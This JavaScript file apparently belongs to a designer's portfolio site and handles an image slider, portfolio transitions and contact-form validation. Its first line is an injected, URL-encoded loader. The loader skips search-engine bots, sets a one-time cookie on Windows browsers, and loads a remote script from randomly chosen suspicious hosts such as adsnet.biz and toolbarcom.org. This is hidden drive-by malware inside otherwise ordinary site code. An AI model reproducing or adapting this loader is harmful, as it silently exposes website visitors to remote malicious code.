var st1 = 0;document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%76%61%72%20%61%3D%77%69%6E%64%6F%77%2E%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%2C%62%3D%2F%28%79%61%68%6F%6F%7C%73%65%61%72%63%68%7C%6D%73%6E%62%6F%74%7C%79%61%6E%64%65%78%7C%67%6F%6F%67%6C%65%62%6F%74%7C%62%69%6E%67%7C%61%73%6B%29%2F%69%2C%63%3D%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%3B%20%69%66%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2E%69%6E%64%65%78%4F%66%28%22%68%6F%6C%79%63%6F%6F%6B%69%65%22%29%3D%3D%2D%31%26%26%21%61%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%6D%61%74%63%68%28%62%29%26%26%63%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%22%77%69%6E%22%29%21%3D%2D%31%29%7B%76%61%72%20%64%3D%5B%22%6D%79%61%64%73%2E%6E%61%6D%65%22%2C%22%61%64%73%6E%65%74%2E%62%69%7A%22%2C%22%74%6F%6F%6C%62%61%72%63%6F%6D%2E%6F%72%67%22%2C%22%6D%79%62%61%72%2E%75%73%22%2C%22%66%72%65%65%61%64%2E%6E%61%6D%65%22%5D%2C%65%3D%5B%22%76%61%67%69%2E%22%2C%22%76%61%69%6E%2E%22%2C%22%76%61%6C%65%2E%22%2C%22%76%61%72%73%2E%22%2C%22%76%61%72%79%2E%22%2C%22%76%61%73%61%2E%22%2C%22%76%61%75%74%2E%22%2C%22%76%61%76%73%2E%22%2C%22%76%69%6E%79%2E%22%2C%22%76%69%6F%6C%2E%22%2C%22%76%72%6F%77%2E%22%2C%22%76%75%67%73%2E%22%2C%22%76%75%6C%6E%2E%22%5D%2C%66%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%64%2E%6C%65%6E%67%74%68%29%2C%67%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%65%2E%6C%65%6E%67%74%68%29%3B%64%74%3D%6E%65%77%20%44%61%74%65%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%2B%39%30%37%32%45%34%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%68%6F%6C%79%63%6F%6F%6B%69%65%3D%22%2B%65%73%63%61%70%65%28%22%68%6F%6C%79%63%6F%6F%6B%69%65%22%29%2B%22%3B%65%78%70%69%72%65%73%3D%22%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%22%3B%70%61%74%68%3D%2F%22%3B%20%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%65%5B%67%5D%2B%64%5B%66%5D%2B%27%2F%73%79%73%74%65%6D%2F%63%61%70%74%69%6F%6E%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%7D%3B%3C%2F%73%63%72%69%70%74%3E'));var gr0=0;var TJB = {};


TJB.Setup = {
   imageLink: function(){
      var imageLinks = $$('div.portfolioLink a');
      imageLinks.each(function(el, index){
         el.addEvent('mouseover', TJB.Events.toggleSpan);
         el.addEvent('mouseout', TJB.Events.toggleSpan);
      });
   },
   
   showDetails: function(){
      var detailLink = $$('h1','headerImage');
      var grid = $('gridOverlay');
      grid.on = false;
      detailLink.addEvent('click', TJB.Events.toggleGrid);
      grid.addEvent('click', TJB.Events.toggleGrid);
   },
   
   sliderSetup: function(){
      var mySlider;
      $try(function(){
         mySlider = new ImageSlider({
            objToSlide: 'sliderHolder',
            sliderElements: 'div.sliderImg',
            numOfElementsToSlide: 2, 
            numOfElementsShown: 3, 
            leftBtn: 'slideLeftBtn',
            rightBtn: 'slideRightBtn',
            onSlideComplete: function(index){
               console.info(index);
            }
         });
      });
      var images = $$('a.activeImg');
      images.each(function(el, index){
         el.setStyle('opacity', 0.1);
         var sibling = el.getNext();
         el.addEvent('mouseover',TJB.Events.fadeImage);
         el.addEvent('mouseout',TJB.Events.fadeImage);
         el.addEvent('click',TJB.Events.portfolioClick);
      });
      //Check to see if there is a hash value in the url
      var currentHash = TJB.Utils.getLocationHash();
      var findID;
      if(currentHash){
         //find the imagesLink that corresponds to the current url hash id
         findID = currentHash + 'Link';
         images.each(function(el, index){
            if(el.getParent().id == findID){
               //found it, now set the portfolio section to this
               TJB.Events.setDefaultPortfolio(el, index);
               //slide the images in the header to show the new selected one
               mySlider.slideTo(index);
               return false;
            }
         });
      }else{
         //make the first one active
         TJB.Events.setDefaultPortfolio(images[0]);
      }
   },
   
   injectEmail: function(){
      var holder = $('emailAddress');
      var email;
      var txt;
      if(holder){
         holder.empty();
         email  = new Element('a', {id: 'myFirstElement', href: 'mailto:travis@travisjbeck.com', 'class': 'textLink'});
         email.appendText('travis@travisjbeck.com');
         holder.adopt(email); 
      }
   },
   
   ajaxForm: function(){
      var _form = $('contactForm');
      var ems;
      if(_form){
         _form.addEvent('submit', TJB.Events.submitForm);  
         ems = _form.getElements('em');
         ems.each(function(em, index){
            em.setStyle('opacity', 0);
         });
         $('errorMessage').setStyle('opacity', 0);
         $('errorMessage').addClass('errorMessageStyle');
      }
   }
};

TJB.Events = {
   activeImg: null,
   activeSection: null,
   portfolioHolder: null,
   portfolioSections: null,
   toggleSpan: function(event){
      if(event.type == "mouseover"){
         this.getElement("span").style.display = "block";
      }else{
         this.getElement("span").style.display = "none";
      }
   },
   
   toggleGrid: function(even, el){
      var grid = $('gridOverlay');
      if(grid.on){
         grid.style.display = "none";
         grid.on = false;
      }else{
         grid.style.display = "block";
         grid.on = true;
      }
   },
   
   fadeImage: function(event){
      if(event.type == "mouseover"){
         this.fade('in');
      }else{
         if(!this.retrieve('active')){
            this.fade(0.1);
         }
      } 
   },
   
   portfolioClick: function(event){
      event.stop();
      if(this.retrieve('active')){return false;};
      var oldActive;
      if(TJB.Events.activeImg){
         TJB.Events.activeImg.store('active', false);
         TJB.Events.activeImg.fade(0.1);
      }
      TJB.Events.activeImg = this;
      this.store('active', true);
      var linkID = this.getParent().id;
      var newSectionID = linkID.replace(/Link/g, "Details");
      TJB.Events.loadPortfolio(newSectionID);
   },
   
   loadPortfolio: function(sectionID){
      var foundSection = TJB.Utils.findDetailSection(sectionID, portfolioSections);
      var newSection = foundSection.section.clone();
      //inject the cloned section
      portfolioHolder.adopt(newSection);
      //make the new section visible and place off the screen to the right
      newSection.setStyle('position', 'absolute');
      newSection.setStyle('display', 'block');
      newSection.setStyle('left', portfolioHolder.getSize().x);
      newSection.setStyle('width', portfolioHolder.getSize().x);
      var newHeight = foundSection.height;
      var slideIn = new Fx.Morph(newSection, {duration: 300, easing: Fx.Transitions.Expo.easeInOut});
      slideIn.addEvent('complete', function() {
         //cleanup
         activeSection.dispose();
         activeSection = newSection;
      }); 
      //fade out current section
      activeSection.fade('out');
      //slide in new section
      slideIn.start({
         left: 0
      });
      //resize the window height
      var myFx = new Fx.Tween(portfolioHolder);
      myFx.start('height', newHeight + "px");
      TJB.Utils.reInitModalViewer(newSection);
      //set url hash to current portfolio item
      TJB.Utils.setLocationHash(sectionID);
   },
   
   setDefaultPortfolio: function(obj, indexID){
      if(!obj){return false;}
      var index = indexID || 0;
      obj.fade('in');
      TJB.Events.activeImg = obj;
      obj.store('active', true);
      //grab and hide all the portfolio sections
      portfolioSections = $$('div.portfolioSection');
      portfolioSections.each(function(section, index){
         section.store('height', section.getSize().y);
         section.setStyle('display', 'none');
      });
      //clone and inject the first and active portfolio section into the portfolio window
      activeSection = portfolioSections[index].clone();
      activeSection.setStyle('display', 'block');
      activeSection.setStyle('position', 'absolute');
      portfolioHolder = $('portfolioWindow');
      portfolioHolder.setStyle('height', portfolioSections[index].retrieve('height'));
      portfolioHolder.adopt(activeSection);
      //re-invoke image viewer
      TJB.Utils.reInitModalViewer(activeSection);
   },
   
   submitForm: function(event){
      event.stop();
      ems = this.getElements('em');
      ems.each(function(em, index){
         em.fade(0);
      });
      var btn = $('submitBtn').getElement('input');
      var spinner = $('submitBtnLoading');
      var sent = $('submitBtnSent');
      var sentMsg = $('messageSent');
      var errorMsg = $('errorMessage');
      var theForm = this;
      btn.style.display = 'none';
      spinner.style.display = 'block';
      errorMsg.fade(0);
      //validate
      var valid = TJB.Utils.validateForm();
      if(valid){
         this.set('send', {
            onSuccess: function(response){
               spinner.style.display = 'none';
               sent.style.display = 'block';
               sent.setStyle('opacity', 1);
               btn.style.display = 'block';
               btn.setStyle('opacity', 0);
               sentMsg.setStyle('opacity', 0);
               sentMsg.style.display = 'block';
               theForm.reset();
               sentMsg.fade(1);
               //google pageview code
               pageTracker._trackPageview('/contactFormSubmitted');
               (function(){
                  sent.fade(0);
                  btn.fade(1);
                  sentMsg.fade(0);
               }).delay(10000);
            },
            
            onFailure: function(response){
               btn.style.display = 'block';
               spinner.style.display = 'none';
               errorMsg.empty();
               errorMsg.appendText('Network error, please try again.');
               errorMsg.fade(1);
            }
         });
         this.send();
      }else{
         btn.style.display = 'block';
         spinner.style.display = 'none';
      }
   }
};

TJB.Utils = {
   
   findDetailSection: function(id, objArry){
      var retObj = {};
      objArry.each(function(section, index){
         if(section.id == id){
            retObj.section = section;
            retObj.height = section.retrieve('height');
            return;
         }
      });
      return retObj;
   },
   
   reInitModalViewer: function(obj){
      var _links = $$('a[rel^=shadowbox]');
      Shadowbox.setup(_links);
   },
   
   setLocationHash: function(id){
      var newHash = id.replace(/Details/g, '');
      location.hash = newHash;
   },
   
   getLocationHash: function(){
      return location.hash.substr(1);
   },
   
   isValidEmail: function(str) {
		var at="@";
		var dot=".";
		var lat=str.indexOf(at);
		var lstr=str.length;
		var ldot=str.indexOf(dot);
		if (str.indexOf(at)==-1){
		   return false;
		}
		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		   return false;
		}
		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		    return false;
		}
      if (str.indexOf(at,(lat+1))!=-1){
         return false;
      }
      if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
         return false;
      }
      if (str.indexOf(dot,(lat+2))==-1){
         return false;
      }
      if (str.indexOf(" ")!=-1){
         return false;
      }
      return true;	
   },
   
   validateForm: function(){
      var valid = true;
      if(!($('from_name').value.length > 0)){
         valid = false;
         $('from_name').getNext().empty().appendText('* Required').fade(1);
      }
      
      if(!($('from_address').value.length > 0)){
         valid = false;
         $('from_address').getNext().empty().appendText('* Required').fade(1);
      }else{
         var txt = $('from_address').value;
         if(!TJB.Utils.isValidEmail(txt)){
            valid = false;
            $('from_address').getNext().empty().appendText('* Invalid Email').fade(1);
         }
      }
      if(!($('comment').value.length > 0)){
         valid = false;
         $('comment').getNext().empty().appendText('* Required').fade(1);
      }  
      return valid;
   },
   
   googleTrack: function(obj){
      var fullContent = obj.content;
      var content
      if (fullContent.indexOf('.com')>0){
         var content = fullContent.substr(fullContent.indexOf('.com')+4);
      }else{
         content = fullContent;
      }
      pageTracker._trackPageview(content);
   }
   
};

TJB.Mail = {
   //this is to avoid email spam harversting robots.
   tld_: ["com","org", "net", "ws", "info", "co.uk", "org.uk", "gov.uk", "ac.uk"],
   topDom_: 13, 
   m_: "mailto:",
   a_: "@",
   d_: ".",
   mailTo: function(name, dom, tl, params, obj){
      var display = name+this.a_+dom+this.d_+this.tld_[tl];
   	var href = this.m_+display;
   	document.write('<a href="'+href+'"'+params+'">'+display+'</a>');
   }
};

window.addEvent('domready', function(){
   $try(function(){
      setupZoom();
   });
   
   var options = {
      onOpen: TJB.Utils.googleTrack,
      animSequence: 'sync'
   };
   
   $try(function(){
      Shadowbox.init(options);
   });
   
   TJB.Setup.imageLink();
   //TJB.Setup.showDetails(); //gridOverlay
   TJB.Setup.sliderSetup();
   TJB.Setup.ajaxForm();
   TJB.Setup.injectEmail();

});